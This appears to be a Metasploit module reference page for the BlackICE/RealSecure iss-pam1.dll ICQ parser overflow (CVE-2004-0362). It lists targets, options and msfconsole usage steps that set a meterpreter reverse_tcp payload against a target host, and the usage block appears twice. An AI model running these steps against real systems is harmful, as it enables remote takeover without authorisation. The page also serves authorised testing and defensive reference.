ISS PAM.dll ICQ Parser Buffer Overflow
This module exploits a stack buffer overflow in the ISS products that use the iss-pam1.dll ICQ parser (Blackice/RealSecure). Successful exploitation will result in arbitrary code execution as LocalSystem. This exploit only requires 1 UDP packet, which can be both spoofed and sent to a broadcast address. The ISS exception handler will recover the process after each overflow, giving us the ability to bruteforce the service and exploit it multiple times.
Exploit Rank
- Great
Exploit Authors
- spoonm < spoonm [at] no$email.com >
Vulnerability References
- CVE-2004-0362
- OSVDB-4355
- http://www.eeye.com/html/Research/Advisories/AD20040318.html
- http://xforce.iss.net/xforce/alerts/id/166
Exploit Targets
- 0 - Bruteforce (default)
- 1 - Bruteforce iis-pam1.dll
- 2 - Bruteforce NT 4.0
- 3 - iis-pam1.dll 3.6.06
- 4 - iis-pam1.dll 3.6.11
- 5 - WinNT SP3/SP4/SP5
- 6 - WinNT SP4/SP5
- 7 - WinNT SP5/SP6 - advapi32
- 8 - WinNT SP3/SP5/SP6 - shell32
- 9 - WinNT SP5/SP6 - mswsock
- 10 - WinXP SP0/SP1 - shell32
- 11 - WinXP SP0/SP1 - atl
- 12 - WinXP SP0/SP1 - atl
- 13 - WinXP SP0/SP1 - ws2_32
- 14 - WinXP SP0/SP1 - mswsock
- 15 - Windows 2000 Pro SP4 English
- 16 - Win2000 SP0 - SP4
- 17 - Win2000 SP2/SP3 - samlib
- 18 - Win2000 SP0/SP1 - activeds
- 19 - Windows XP Pro SP0 English
- 20 - Windows XP Pro SP1 English
- 21 - WinXP SP0 - SP1
- 22 - Win2003 SP0
Exploit Development
Similar Exploit Modules
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/firewall/blackice_pam_icq
msf exploit(blackice_pam_icq) > show payloads
msf exploit(blackice_pam_icq) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(blackice_pam_icq) > set LHOST [MY IP ADDRESS]
msf exploit(blackice_pam_icq) > set RHOST [TARGET IP]
msf exploit(blackice_pam_icq) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/windows/firewall/blackice_pam_icq
msf exploit(blackice_pam_icq) > show payloads
msf exploit(blackice_pam_icq) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(blackice_pam_icq) > set LHOST [MY IP ADDRESS]
msf exploit(blackice_pam_icq) > set RHOST [TARGET IP]
msf exploit(blackice_pam_icq) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 1) |
| CHOST | The local client address |
| CPORT | The local client port |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
